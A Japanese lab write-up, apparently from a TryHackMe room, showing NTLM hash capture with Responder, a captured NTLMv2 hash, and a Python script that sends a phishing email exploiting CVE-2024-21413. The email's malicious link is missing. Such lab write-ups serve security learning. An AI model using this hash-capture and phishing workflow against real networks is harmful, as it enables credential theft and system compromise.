
Responderを介したNTLMハッシュのキャプチャと、CVE-2024-21413を悪用したフィッシングメールの実行を実証し、システムを侵害します。
プロジェクトの目標: このプロジェクトは、ネットワーク上のユーザーからNTLMハッシュをキャプチャするためのさまざまなツールの使用と、メールを使用したフィッシング攻撃の実行を実証するために作成されました。これにより、ネットワーク認証の脆弱性とフィッシング手法がどのように悪用されてシステムが侵害されるかを示しています。
プロセスの説明
Responderを起動するために次のコマンドを実行しました:
root@ip-10-10-192-145:~# sudo responder -I ens5
ens5インターフェースで待ち受けるようにResponderを設定しました。すぐに認証リクエストのインターセプトを開始し、THM-MONIKERLINK\tryhackmeやWORKGROUP\Administratorなどのネットワーク上のユーザーからのNTLMハッシュを表示できました。ハッシュをキャプチャしたときの出力は次のとおりです:
[SMB] NTLMv2-SSP Client : ::ffff:10.10.251.212 [SMB] NTLMv2-SSP Username : THM-MONIKERLINK\tryhackme [SMB] NTLMv2-SSP Hash : tryhackme::THM-MONIKERLINK:0b8bfa4ac2e8a954:4E86E98E55FBE019FB31815DDD4445DB
これらのハッシュは、ブルートフォース攻撃やハッシュ攻撃などに使用できます。
メール内のフィッシングリンクは次のようになっていました:
次に、フィッシングメールを送信するために使用された完全なPythonスクリプトを示します:import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.utils import formataddr
sender_email = '[email protected]' receiver_email = '[email protected]' password = input("Enter your attacker email password: ")
html_content = """\
"""message = MIMEMultipart() message['Subject'] = "CVE-2024-21413" message["From"] = formataddr(('CMNatic', sender_email)) message["To"] = receiver_email
msgHtml = MIMEText(html_content, 'html') message.attach(msgHtml)
server = smtplib.SMTP('10.10.251.212 ', 25) server.ehlo()
try: server.login(sender_email, password) except Exception as err: print(err) exit(-1)
try: server.sendmail(sender_email, [receiver_email], message.as_string()) print("\nEmail delivered") except Exception as error: print(error) finally: server.quit()
このスクリプトは、悪意のあるリンクを含むメールを送信し、CVE-2024-21413の脆弱性を悪用する可能性があります。
結果 その結果、次の2つの重要な側面を実証できました:
このプロジェクトは、ネットワークの脆弱性とフィッシング攻撃がどのように悪用されてシステムへのアクセスが取得されるかを示しました。また、強力な認証方法とメールトラフィックのフィルタリングを通じて、このような攻撃から防御することの重要性を強調しました。